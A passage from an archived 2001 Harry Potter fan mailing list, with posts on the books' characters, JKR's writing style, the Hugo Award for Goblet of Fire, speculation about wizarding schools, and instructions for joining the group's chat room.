everyone's favourite classes, but an "easy A".  It probably consisted mainly 
of answering questions out of a text book.  In my opinion, Quirrell was just 
a filler.  He could teach DADA well enough to protect students because 
Voldemort was gone and the Death Eaters in Azkaban or hiding, but if 
Voldemort came back, you probably wouldn't want him as the DADA teacher as he 
had no real fighting experience. 

> 2.  Did Dumbledore *really* agree to the 4th years being taught about
>     the Unforgivable Curses? 
> 

I think that Dumbledore *did* want the 4th years to learn the Unforgivable 
Curses, because he knew that Voldemort was getting stronger and was likely to 
attack Harry again.  He would want Harry, Hermione, and Ron to be prepared 
since they seem to run in to Voldemort quite a bit.  And since Moody is and 
Ex-Auror, who better, and who safer to teach Harry and co. the Unforgivable 
curses, in Dumbledore's opinion.

> 3.  I know we've discussed this before, but there are some newcomers, 
>     so...why would Crouch-as-Moody teach them how to fight Imperious? 
> 

This has actually puzzled me a bit, so I'd like to hear what everyone else 
thinks, but I think that Crouch-as-Moody number one, wanted to see if any of 
them *could* resist it, and two, wanted to maintain his disguised.  He was 
supposed to teach them how to fight it, if he didn't, Dumbledore might get 
suspicious.  And it could have just been a plot devise by J. K. to allow 
Harry to fight the Imperious at the end.  
~ Corinne

**************************************************
Corinne Staggs    Evilonewon at aol.com

? ? ? ? "Gods protect me, you're going to die a virgin," he whispered.  "What 
say we find a nice private haystack and take care of that?" ~ Cleon to Kel in 
Squire by Tamora Pierce

Last movie seen:? "The Princess Diaries"
Discman's spinning:? Flute music by James Galway
Nighttable:? "Harry Potter and the Goblet of Fire" (for the fifth time) by J. 
K. Rowling, "Bulfinch's Mythology" by Thomas Bulfinch, "The Master Harper of 
Pern" by Anne McCaffrey, and "Angus, Thongs, and Full-Frontal Snogging" by 
Louise Rennison
***************************************************







[Non-text portions of this message have been removed]




From diagonalley_ at hotmail.com  Mon Sep  3 02:20:51 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Sun, 02 Sep 2001 22:20:51 -0400
Subject: [HPforGrownups] JKR's Writing Style
Message-ID: <F99cvpWyJnoziVfMST000002eee@hotmail.com>

No: HPFGUIDX 25413


>I think JKR's writing style has changed quite a bit over the four
>books.  Not the plot, not the characterizations.  I'm referring to
>the level of detail, amount of descriptive matter, quality of
>dialogue, etc.  I find GoF to be the most thoroughly fleshed out, and
>I find the pace of PoA to be the quickest.  PS/SS and CoS seemed
>somewhat cryptic in comparison, although PS/SS worked well for me for
>other reasons (primarily the outstanding first few chapters).  I have
>wondered whether PoA and GoF perhaps benefited from very talented
>editors (not that there's anything wrong with that).
>
>Has anyone else noticed this, and if so, which style worked best for
>you?

I think this has been discussed before...but what the heck...

I definately noticed this.  And I think it was at least partially 
intentional.  These books are told from Harry's perspective - there's only 
one scene in the entire series so far where Harry is not present, and though 
the narrative is never first-person, it's very definately channeled through 
Harry's eyes.  We notice only what he notices, hear only what he hears, and 
generally think pretty much what he thinks.  And just as Harry ages and 
matures from one book to the next, so does his perception of the world 
around him.

At least, that's how I see it.  ^_-

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From moreta at technologist.com  Mon Sep  3 02:21:57 2001
From: moreta at technologist.com (Susan Keaney (Navarro))
Date: Mon, 03 Sep 2001 02:21:57 -0000
Subject: Hugo Award
Message-ID: <9mupg5+53bs@eGroups.com>

No: HPFGUIDX 25414

For those that are interested, J. K. Rowling's "Harry Potter and the
Goblet of Fire" was awarded the Hugo Award for Best Novel tonight.


Susan.




From diagonalley_ at hotmail.com  Mon Sep  3 02:31:53 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Sun, 02 Sep 2001 22:31:53 -0400
Subject: [HPforGrownups] Hugo Award
Message-ID: <F141kOF7Vlsj2A1Ikle00002baf@hotmail.com>

No: HPFGUIDX 25415


>For those that are interested, J. K. Rowling's "Harry Potter and the
>Goblet of Fire" was awarded the Hugo Award for Best Novel tonight.

wow, really?  *grins*  That's great!!  Was this a televised event?  Was Jo 
there to accept the award in person?  Was there an appropriate ammount of 
cheering and crying and carrying on?

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From blackburn_lancashire at yahoo.com  Mon Sep  3 02:39:44 2001
From: blackburn_lancashire at yahoo.com (blackburn_lancashire at yahoo.com)
Date: Mon, 03 Sep 2001 02:39:44 -0000
Subject: Hermione's looks 
Message-ID: <9muqhg+nul@eGroups.com>

No: HPFGUIDX 25416

>Has anybody noticed that Hermione is described as a homely girl, yet 
>in the movie she seems to be a very pretty girl? Hrmmm.....I just 
>thought that was really odd.

Hermione is never described as homely. In the fourth book, Harry 
notices her as "a pretty girl in blue robes." 

Up until that point, how attractive Hermione looks is up in the air. 
The only physical traits JK gives readers are: bushy-haired, large-
toothed and shorter than Ron. Couldn't that be Julia Roberts? I don't 
think the audience is supposed to think she's a knock-out, but I 
never got the impression that she was homely. 

One other thing: Can't a girl be pretty with big hair? This is an OT 
opinion, but I think that one of the biggest faults of all in the 
Disney movie, "The Princess Diaries" was that the main character had 
to loose her curls to feel good about her looks. Ugh!




From witchwanda2002 at yahoo.com  Mon Sep  3 02:46:28 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 2 Sep 2001 19:46:28 -0700 (PDT)
Subject: [HPforGrownups] Hugo Award
In-Reply-To: <9mupg5+53bs@eGroups.com>
Message-ID: <20010903024628.73234.qmail@web13701.mail.yahoo.com>

No: HPFGUIDX 25417

Thank you, Susan! Another news worthy post to my Aunt
in Texas! She always sends me anti-HP posts! I'll send
this great news in a special owl postcard! Hurray for
great news on our fvaorite author!

Wanda the Witch of Revere, Massachusetts and Her Merry
Band of Muggles who are all leaping with joy!
 
--- "Susan Keaney (Navarro)" <moreta at technologist.com>
wrote:
> For those that are interested, J. K. Rowling's
> "Harry Potter and the
> Goblet of Fire" was awarded the Hugo Award for Best
> Novel tonight.
> 
> 
> Susan.
> 
> 


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From ra_1013 at yahoo.com  Mon Sep  3 03:14:17 2001
From: ra_1013 at yahoo.com (Andrea)
Date: Sun, 2 Sep 2001 20:14:17 -0700 (PDT)
Subject: Hermione
In-Reply-To: <9mumka+cukc@eGroups.com>
Message-ID: <20010903031417.95101.qmail@web10901.mail.yahoo.com>

No: HPFGUIDX 25418

--- chiizu_cheese at yahoo.com wrote:
> Has anybody noticed that Hermione is described as a
> homely girl, yet 
> in the movie she seems to be a very pretty girl?
> Hrmmm.....I just 
> thought that was really odd.

Actually, no, I hadn't noticed that, because she isn't
described as homely.  "She had a bossy sort of voice,
lots of bushy brown hair, and rather large front
teeth." (PS/SS, Chapter 6)  That's hardly "homely". 
She's even described as very pretty in GOF at the Yule
Ball.  People tend to assume she's homely because
she's a brain, or because they, like Ron, just tend to
forget she's a girl.

Sorry, but it's a pet peeve of mine that people assume
nerds can't be pretty.


Andrea

=====
"Reality is for people who lack imagination."

__________________________________________________
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From katzefan at yahoo.com  Mon Sep  3 03:47:47 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Mon, 03 Sep 2001 03:47:47 -0000
Subject: Hugo Award
In-Reply-To: <9mupg5+53bs@eGroups.com>
Message-ID: <9muuh3+vulq@eGroups.com>

No: HPFGUIDX 25419

--- In HPforGrownups at y..., "Susan Keaney (Navarro)" <
moreta at t...> wrote:
> For those that are interested, J. K. Rowling's "Harry Potter and 
>the Goblet of Fire" was awarded the Hugo Award for Best Novel 
>tonight.
> 
> Susan.

YAAAAYY!! (cheers and much applauding)
(and thank you Susan for passing that on)




From frantyck at yahoo.com  Mon Sep  3 03:52:48 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Mon, 03 Sep 2001 03:52:48 -0000
Subject: JKR's Writing Style
In-Reply-To: <F99cvpWyJnoziVfMST000002eee@hotmail.com>
Message-ID: <9muuqg+igm5@eGroups.com>

No: HPFGUIDX 25420

--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> These books are told from Harry's perspective - there's only 
> one scene in the entire series so far where Harry is not present, 


Two, actually, the first chapter of SS/PS and the first chapter of 
GoF.




From diagonalley_ at hotmail.com  Mon Sep  3 03:56:42 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Sun, 02 Sep 2001 23:56:42 -0400
Subject: [HPforGrownups] Re: JKR's Writing Style
Message-ID: <F134I7KzCcIV8zNAyrB00002c51@hotmail.com>

No: HPFGUIDX 25421


>--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> > These books are told from Harry's perspective - there's only
> > one scene in the entire series so far where Harry is not present,
>
>
>Two, actually, the first chapter of SS/PS and the first chapter of
>GoF.

Well, I stand corrected on one count - I was actually thinking of a scene in 
Book 1 when Harry is playing Quidditch, but Ron and Hermione are the focus.  
So the first chapter of Book 1 brings the total up to two.

The first chapter of GoF doesn't count, because Harry witnessed it in his 
dreams....part of it, anyway... ;}

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From cynthiaanncoe at home.com  Mon Sep  3 04:16:31 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 03 Sep 2001 04:16:31 -0000
Subject: Where can Harry go?
In-Reply-To: <9mujj7+tjms@eGroups.com>
Message-ID: <9mv06v+55le@eGroups.com>

No: HPFGUIDX 25422

--- In HPforGrownups at y..., morsethanatos at y... wrote:
> JKR mentioned in one of the interviews that he will visit a few of 
> the magical  places mentioned in the books. That got me to try and 
> recall what the places mentioned in the books are. Shamefully I 
have 
> not come up with anything besides Godric's hollow, M..O.M., Azkaban 
> and Malfoy's house(but somehow I doubt he would go there).  What 
did 
> I forget?

I'm hoping for a tour of St. Mungos.  Can you imagine the interesting 
things JKR could describe?  And think of all the history we'd learn 
of people seriously injured fighting Voldemort, starting with the 
Longbottoms.  Maybe we'll learn why some injuries can be fixed with 
magic and others (MadEye Moody's) apparently cannot.

Cindy




From elbereth at di.org  Mon Sep  3 04:16:32 2001
From: elbereth at di.org (Elbereth)
Date: Mon, 03 Sep 2001 00:16:32 -0400
Subject: Wizard demographics?
Message-ID: <3.0.5.32.20010903001632.009e9b00@di.org>

No: HPFGUIDX 25423

frantyck at yahoo.com wrote:
>You know, the idea of a wizarding school in New York City sounds 
>great. Probably wouldn't surprise New Yorkers much. A great big 
>warehouse (tall enough for Quidditch) or a large, nondescript 
>building with no visible entrance...
>
>Or Canada. On some craggy coast. Arrr.

No reason why there couldn't be several in the States, and at least one
here in Canada -- I think I'd favour Newfoundland or Labrador, or hidden in
the Rockies, or in the middle of the Prairies, or up in the Territories, or
...  Come to think of it, any place fairly remote from the Muggles would
work fine!  I don't think the Hide In Plain Sight of banging it down in
Toronto or Vancouver (or by extension, New York City) would work -- too
much call for memory charms!  (Diagon Alley is certainly in downtown
London, but entails adults being less than blatant, as opposed to kids
being enthusiastically careless ...)

As for the number of Wizarding schools, I think perhaps there'd be fewer
than a half dozen in North Am.  Consider:  there are three such schools for
all of Europe (if I may be allowed, this once, the common fallacy of
calling Great Britain European <g>) -- we know this because only Hogwarts,
Beaux Batons and Durmstrang had contestants in the Tri-Wizard Tournament.
Such a regional event should include all schools in the region, ergo there
are only three.

If we can take Europe as typical, then we can expect approximately three
schools of witchcraft & wizardry per continent -- and I am more than
willing to entertain conjectures that there might be fewer in Australia and
more in North America, simply by virtue of population base.  Six habitable
continents, times three (on average) schools per continent, gives us
eighteen schools.  Call it twenty, round numbers are more attractive.  ;-]

Where would they be, I wonder?  Has anyone tried mapping out likely spots?
I'd be surprised, for instance, if Japan didn't have its own school ...
Where would be the best locations in Africa?  Would New Zealand have its
own school, I wonder?

I find it fascinating that I'm only beginning to ask questions about the
wider wizarding world as Harry himself does.  In the first two books, I was
quite happy thinking only in terms of Britain's witches & wizards.  In the
third, I started wondering "where *is* Azkaban?"  By the fourth, I've been
nudged into thinking in terms of Europe.  Will we eventually see the
magical community on a global scale in these books?  Just how far afield
was Voldemort's influence spreading, before it was cut short by his
encounter with the infant Harry?  Did the Wizarding community in Asia or
South America feel threatened by Voldemort at that time?

In my mind, an excellent story does two things: it entices you to re-read
it, the better the more; and it engenders thought, the kind of pondering
we're doing together.

On that note, another random thought, in reference to the child vs. adult
literature question:  IMHO it's both.  It all depends upon what the reader
brings to the story.

I had the collywobbles reading some parts of Goblet of Fire; a young friend
of mine did not.  I finally realized that, during the segments in which I
was hearing jackboots or seeing other nightmare images from history and my
own experience, she was just *reading the story.*  I daresay when she
re-reads the books in twenty years, she'll see different things than those
she sees now.  But adults come to a story with the mental and emotional
baggage of their whole lives colouring the words on the page.    A
restatement of the "many levels" point, perhaps.  ;-]

BlueEyedTigress
13" Applewood with a tail-hair from a werewolf
Gryffindor, Class of '75




From katzefan at yahoo.com  Mon Sep  3 04:23:08 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Mon, 03 Sep 2001 04:23:08 -0000
Subject: Draco, right & wrong, grammar
Message-ID: <9mv0jc+id4t@eGroups.com>

No: HPFGUIDX 25424

From:??fourfuries at a...
--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <
mindyatime at j...> 
wrote:
> > 
> TOPICS I DON'T WANT TO SEE DEBATED ON THIS LIST 
ANYMORE: > DRACO! DRACO! DRACO BEING EVIL/DRACO 
BEING REDEEMED... 
> 
>Now, you knew when you posted the above that you were 
>throwing fuel on an already popular thread.  What is it about the 
>conversation that bothers you?  Is it the fact >that there is no 
>right answer yet?  That is the case for >every topic we discuss 
>that can be affected in a later >book.
......
>Draco is that person that we would all like to be if there were no 
>EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
>fear.  Rich, privileged, influential, popular, witty, probably 
>attractive enough, and certainly used to getting his way.  In a 
>word, he is powerful, and he raises the >ultimate question of 
>human morality (as does Voldemort, >Dumbledore, Lucius, 
>and to a lesser extent, Fudge):

>Does Power Corrupt, and if so, Does it Corrupt Absolutely?

>If it does, how do we avoid corruption without being powerless 
>(Harry, Dumbledore). If it doesn't, why in the hell shouldn't 
>everybody behave badly?  That's what we in the "Draco" thread 
>have been discussing.  Got an opinion?

>4FR (trying to get a better understanding of people >different 
than himself).

Really good post, 4FR ...I wrote one some time ago on a similar 
subject, but didn't manage to make myself very clear. I think 
you're right: what is driving people around the bend on the 
subject of Draco is that he *could* go either way: could turn into a 
really vile, evil DE, or redeem himself spectacularly, and so far 
JKR has given no real hints either way. I've read with interest
the supporters of Draco's redemption, and IMHO, it's not in
the cards ... but they've made some excellent points and I
wouldn't bet the rent money on my opinion.
As for all of us wanting to be like Draco if we could, that is an 
interesting point. If we *could* get away with virtually anything, 
how many of us would take advantage of that? I think most 
people would continue to struggle with right and wrong, and 
listen to the promptings of their consciences ... but I also 
think a fair number would eventually be worn down by the 
seductive lure of unlimited power and the complete lack of 
accountability. 
As things stand now, do most people obey the law out of morality 
or fear of punishment ... or some combination of both? 
Particularly since, for vast numbers of people, religious authority  
(in the form of EternalGod/BhuddhaNature/AbsoluteTruth/
Ultimate Justice) has diminished considerably.
Opinions?

>In HPforGrownups at y..., Tammy Z <
too_much_coffee_lady at y...> wrote:
> Well Catlady...it's not that I am "grammar snob" but
> that teaching writing correctly is important.  For YOU
> to write with And or But at the beginning of a
> sentence to EMPHASIZE is fine as an adult - but when
> writing for children some authors use it so frequently
> they couldn't possibly be trying to emphazie that
> much. Adults writing and children writing are two
> different apples all together.
> All I am saying is that JKR is a great reading model
> and writing as well...as we all know otherwise this
> thread wouldn't exist.
> 
I think the difference here is between those who *do* know 
correct grammar, and who break or bend grammar rules to 
emphasize a point, or create realistic-sounding dialogue (or 
dialect), and those who write with poor grammar simply because 
they don't know any better. Some time ago I began to read a 
recently published book that could have been excellent had a 
competent editor gotten to it - as it was, I dropped the book 
halfway through Ch. 1 and doubt I will ever finish it. The errors 
were *so* numerous and profound that I could not believe it was 
anything but ignorance on the author's part and really, really 
slipshod editing on the publisher's part. Pity, because the story 
itself sounded interesting.



katzefan (who really liked Aleks's signature quote in message 
25391)


*********************
Lockhart cuffed Harry merrily on the shoulder. 'Just do what I did, 
Harry!'
'What, drop my wand?'
(CoS)






From catlady at wicca.net  Mon Sep  3 05:54:47 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Mon, 03 Sep 2001 05:54:47 -0000
Subject: IMPORTANT information for HPfGU CHAT
Message-ID: <9mv5v7+bul4@eGroups.com>

No: HPFGUIDX 25425

This has to go to everyone, therefore the Main List
(which, by the way, does not have as many members as the Member List 
shows, because some of us are on there multiple times with multiple 
identities including different e-dresses).
--------------------------------------------------------------------

The chat room that SOME people can enter by clicking on
Chat on the main HPfGU Yahoogroups web page (and some
people cannot enter at all) is SO DEFECTIVE that we will
chat in our previous chat room until either the new one is
fixed or the good one is removed.

-------------------------------------------------
The room in which we will chat is grp*g.2176166:1
-------------------------------------------------

People who use PCs can access this room by using
Cheetah Chat. CHeetah Chat can be downloaded for
free from http://www.cheetachat.com and contains 
many fun toys which I will describe later.

People who have MACs can access this room by
using miChat. miChat can be downloaded from
http://66.33.71.14/michat/downloads.html
Sinead and John Crazy Ivan have both done so

Some people who were unable to download either
Cheetah Chat or miChat (small, old, computers, 
college rules, etc) were able to enter the room
grp*g.2176166:1 in one of the following ways and
some were able to enter in the other: 

One way is when someone who was already in the
room Invited them. In Cheetah Chat, click on
Chat on the leftmost end of the menu bar, and 
Invite User is a little below the middle. It 
puts up a form in which you must type the person's
Yahoo ID. I have learned that the following 
error message does not mean anything wrong with
the group, it only means something failed about
inviting that person:
*** User grp*g.2176166:1 isn't online right now

The other way was done by Ebony and I quote
her description: selah_1977 says, I went to 
hat.yahoo.com... and then "joined" Catherine in chat.
selah_1977 says, Go to http://chat.yahoo.com
selah_1977 says, Go to the bottom of the screen
selah_1977 says, Choose "Join Friend" 

-----------------------------------------
How to Use Cheetah Chat
-----------------------------------------

The first time you enter Cheetah Chat, it
will put you in a horrible room full of 
skateboarders, which at one time was named
Windows:1.

You can go from there to Our room by typing
/join grp*g.2176166:1 
once you have been connected to Our room,
you can click Rooms on the menu bar, click
Favorite Rooms on the drop-down menu, and 
click Add Current Room on the sub-sub-menu

The other way to go from the horrible room
to Our room starts by clicking on Rooms on
the menu bar, then Favorite Rooms on the
drop-down menu, then Manage Favorite Rooms
on the sub-sub-menu, which brings up a form
which brings up a form on which you click 
Add which brings up a form on which you type
grp*g.2176166:1 

Either way, it has been my experience that
whatever room I was in when I exited Cheetah
Chat (by clicking on the Close "X" Windows
icon in the rightmost topmost corner) is the
room that the Login form offers me if I
wait a few minutes for "Change Room" to go
away: it remembers.

COLORS: you can choose one or more simple
colors (if more than one, they will alternate
by letter) by clicking on the squares of 
color right above the line where you type
your speech.

You can make fancy color blends (and store
them for next time) by clicking on the artist
palette icon which is on the icon tool bar
which is under the word Links on the menu bar.
Learn how to do it by trial and error in
between weekly chats.

You can change your FONT face and size by 
using the selection menues on the way far
right end of the tool bar.

You can display pictures made of letter
characters by using the selection box of
Macros. If you single-left-click a macro
and then single-right-click, it will offer
you a choice of Edit or Display. Single-
left-click on Edit and then click on Preview
in the Edit form to see what it will look
like before sending it to the whole room.
If you want to create whole new macros, 
you use Edit Macros on that Settings
menu (described below), it has an Add
option.

-----------------------------------------
THE LITTLE PICTURES beside people's 
chat names are called AVATARS. You can
-----------------------------------------
get one by clicking on Settings (which is
second to the left) on the menu bar and
then clicking on Preferences on the drop-
down menu and then clicking the Yahoo/
Cheetah Chat tab. The Avatar stuff is on
the bottom part of this tab, and above the
Avatar stuff are a lot of other Preferences
you might want to set. If you want to save
more than the default 125 lines in your 
buffer, that is on the General tab. If you
want to save the buffer on disk as a Chat
TRANSCRIPT, periodically during the chat
Click on Chat on the menu bar and click on
Save Transcript on the drop-down menu.   

http://www.angelfire.com/ne2/avatars/page5.html
is an incredibly nifty site (takes LONG to
load) where you can borrow Avatars: if you 
have Netscape 4.7 like me, right-click the 
desired image, which gives you a memo, on 
which you click Save Image As, which will
bring up a Windows form for you to choose 
what folder to put it in. Eventually it must
get into C:\Program File\CheetaChat\avatars

Cheetachat's own Avatar Repository is at
http://avatars.cheetachat.com/
If your chosen Avatar is not already in
that repository, you must upload it there
(something which I have not myself done,
contenting myself with Avatars that were
already there). Also, if you have the
patience to find an Avatar you like within
that vast and disorganized repository, you
can download it like from the Angelfire
site. If the Avatar is in your Avatar Folder,
you can choose it for your Preference. If it
is in Cheetah's repository, Cheetah will copy
it into the other chatters' Avatar folders.
If your Avatar is not in my Avatar folder, I
cannot see it on screen, I will see only a
weird mess instead.

------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((

 




From elbereth at di.org  Mon Sep  3 08:19:36 2001
From: elbereth at di.org (Elbereth)
Date: Mon, 03 Sep 2001 04:19:36 -0400
Subject: Hugo Awards
Message-ID: <3.0.5.32.20010903041936.009bbdc0@di.org>

No: HPFGUIDX 25426

"Ali Wildgoose" asked:
>>For those that are interested, J. K. Rowling's "Harry Potter and the
>>Goblet of Fire" was awarded the Hugo Award for Best Novel tonight.
>
>wow, really?  *grins*  That's great!!  Was this a televised event?  Was Jo 
>there to accept the award in person?  Was there an appropriate ammount of 
>cheering and crying and carrying on?

For those of you who are not familiar with them, the Hugos are awarded at
the World Science Fiction Convention, which happens yearly around about
Labour Day (although the dates vary when it's held outside North Amercia).
This year it's being held in ... I'm not there this year so I have to look
it up! ... Philadelphia, and it's the 59th Worldcon so far.  For those who
are interested, the URL is:

http://www.netaxs.com/~phil2001/

There's nothing up on the site yet about who won what -- but I'd expect
that, everyone's still at the con!  ;-]

There is indeed a large gala awards ceremony.  I would be shocked out of my
skin if JKR were in attendance, though.  Really unlikely it was televised,
either, since SF Fandom doesn't usually draw that kind of publicity. <wry
grin>  But you can bet there were screams of delight on her behalf, and
that she'll get her award!  ;-]

BlueEyedTigress



From mellienel2 at yahoo.com  Mon Sep  3 08:49:07 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 03 Sep 2001 08:49:07 -0000
Subject: ghoul in the attic.
Message-ID: <9mvg63+eu51@eGroups.com>

No: HPFGUIDX 25427

question --

who thinks the Weasleys' ghoul is a red herring, and who thinks it 
will play a role later on? I'm divided, myself.

m.




From g_keddle at yahoo.com  Mon Sep  3 09:28:49 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Mon, 03 Sep 2001 09:28:49 -0000
Subject: auxiliary books
In-Reply-To: <6d.19a6e0cf.28c4361c@aol.com>
Message-ID: <9mvigh+feat@eGroups.com>

No: HPFGUIDX 25428

--- In HPforGrownups at y..., Evilonewon at a... wrote:
> In a message dated 08/30/2001 10:52:43 AM Eastern Daylight Time, 
> HPforGrownups at y... writes:
> 
> > > I do think we could have some further 'auxiliary' books like 
QTTA. 
> > 
> > Maybe a Muggle Studies textbook, explaining why Muggles would be 
> > utterly bewildered by aspects of the Wizarding World the wizard 
> > community just takes for granted.  > > 

> If there are any more companion volumes, I'd really like to 
read "The History 
> of Magic".  


The next auxiliary book to come out MUST be "Hogwarts, A History"!! 
How could there be any doubt?

Gert





From vheggie at yahoo.com  Mon Sep  3 10:05:48 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Mon, 03 Sep 2001 10:05:48 -0000
Subject: Wizard demographics?
In-Reply-To: <3.0.5.32.20010903001632.009e9b00@di.org>
Message-ID: <9mvkls+4ntq@eGroups.com>

No: HPFGUIDX 25429

[snip]
> 
> As for the number of Wizarding schools, I think perhaps there'd be 
fewer
> than a half dozen in North Am.  Consider:  there are three such 
schools for
> all of Europe (if I may be allowed, this once, the common fallacy of
> calling Great Britain European <g>) -- we know this because only 
Hogwarts,
> Beaux Batons and Durmstrang had contestants in the Tri-Wizard 
Tournament.
> Such a regional event should include all schools in the region, 
ergo there
> are only three.
> 
[snip]

There's no reason to believe there are only three - it's not called 
the 'European Cup' after all.  It may be that these are the three 
oldest, or the three most prestigious schools.
After all, only Oxford and Cambridge universities compete in the 
annual university boat race, but there are a lot more than two 
universities in the UK!




From caliburncy at yahoo.com  Mon Sep  3 13:32:07 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 13:32:07 -0000
Subject: Where can Harry go?
In-Reply-To: <9mv06v+55le@eGroups.com>
Message-ID: <9n00on+ni4d@eGroups.com>

No: HPFGUIDX 25430

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., morsethanatos at y... wrote:
> > JKR mentioned in one of the interviews that he will visit a few of 
> > the magical  places mentioned in the books. That got me to try and 
> > recall what the places mentioned in the books are. Shamefully I 
> have 
> > not come up with anything besides Godric's hollow, M..O.M., 
Azkaban 
> > and Malfoy's house(but somehow I doubt he would go there).  What 
> did 
> > I forget?
> 
> I'm hoping for a tour of St. Mungos.  Can you imagine the 
interesting 
> things JKR could describe?  And think of all the history we'd learn 
> of people seriously injured fighting Voldemort, starting with the 
> Longbottoms.  Maybe we'll learn why some injuries can be fixed with 
> magic and others (MadEye Moody's) apparently cannot.
> 
> Cindy

Other less likely possibilities further away (unless she specifically 
said it must be in Britain, which I don't remember) are Egypt and 
Romania, where Bill and Charlie work respectively.  I don't think 
these would necessarily show up in OotP, but if JKR expands the scope 
more globally, as some people think she might, one of these could show 
up in book six or seven.  I'd be more inclined to believe we'd see 
Egypt (since it's brought up slightly more often), but it's also quite 
possible we won't see either.  Just thought I'd add it to the list.

I'm almost positive Godric's Hollow is going to come into more active 
play at some point, though perhaps not in the way we might expect, 
where the whole scene becomes a huge memorial for Harry's parents.  
There are several potential ways I could see for it to balance out the 
narrative in some way.  But I really, really think it will show up.

There's something else that should be on this list of potential 
places and I can't remember it.

-Luke




From monika at darwin.inka.de  Mon Sep  3 13:37:38 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Mon, 3 Sep 2001 15:37:38 +0200
Subject: Sirius's Appeal
In-Reply-To: <9mvqpf+kgkd@eGroups.com>
Message-ID: <MABBIOAJAKBIIEFEFANKCELHCJAA.monika@darwin.inka.de>

No: HPFGUIDX 25431


> --- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
> wrote:

> Here's another question that has been puzzling me: How come so many of
> you listies are sooo ga-ga over Sirius? While I like his character, he
> comes across to me as a whispy, filthy, grimy, emaciated skeleton. He
> doesnt have any outer appeal; why are so many of you 'crazy' about 
> him?

Hm, if this isn't obvious, it's hard to explain. ;-) I'd say that tragic
characters just appeal to me. When he told Harry his story in the
Shrieking Shack, I just thought: How could they do this to him?
His over-bright eyes made me forget his filthy hair and robes...
BTW he doesn't wear it like that on purpose (unlike Snape). I
agree that you need a bit of imagination to see through all
the grime, but it's not a character trait, it can be fixed. Clean
him up, feed him for a few weeks, and you will have something to
look at. *bg* It will take longer to mend his soul, but I am sure he
is worth it. Is immediate outer appeal the only thing that matters
to you? How about his inner qualities that others have already
mentioned, like his loyalty or his intelligence? The latter is something
that I for myself find *very* attractive, maybe more than anything
else. I think Sirius is someone who wouldn't ever bore you, and
a boring man is one of the worst things that can happen to a
woman. Believe me, I know what I am talking about. *eg*
Does this make things a bit clearer for you?

Monika
the Sirius fan

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html 




From saitaina at wizzards.net  Mon Sep  3 13:40:54 2001
From: saitaina at wizzards.net (Saitaina)
Date: Mon, 3 Sep 2001 06:40:54 -0700
Subject: [HPforGrownups] Re: Where can Harry go?
References: <9n00on+ni4d@eGroups.com>
Message-ID: <001101c1347e$0e9d5480$174e28d1@oemcomputer>

No: HPFGUIDX 25432

Why has no one thought of the Slytherin Common rooms?  They've been
mentioned.  Could Voldemort hidden the key to his downfall in his old dorms,
knowing that no Slytherin would try to use it?

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From john at walton.to  Mon Sep  3 13:46:17 2001
From: john at walton.to (John Walton)
Date: Mon, 03 Sep 2001 09:46:17 -0400
Subject: A "Duh!" moment -- Rita Skeeter
In-Reply-To: <9mupg5+53bs@eGroups.com>
Message-ID: <B7B8648E.E01%john@walton.to>

No: HPFGUIDX 25433

Okay, I feel like a complete fool. I just picked up an old issue of the NY
Daily News Express (the one they give out free at Grand Central for the
train ride home) out of my cat's litter box, and realised something
extremely funny. The title of the article was "Skeeter Spraying Delayed
Again".

Admittedly, since I was in a cat mood, I thought it said "spaying", and
immediately leaned in closer for a better look. ("Eh? Who's spaying Rita
Skeeter?", I thought.) Then I realised it said "Spraying". Duh.

And then it hit me. "Skeeter" is an American slang abbreviation of
"MoSQUIto". And Rita Skeeter is a bug animagus. I can't believe I didn't
notice that before! A "DUH!" moment indeed.

Just thought I'd share :D

--John
________________________________

John Walton -- john at walton.to

"Last night I had the strangest dream
I'd ever dreamed before.
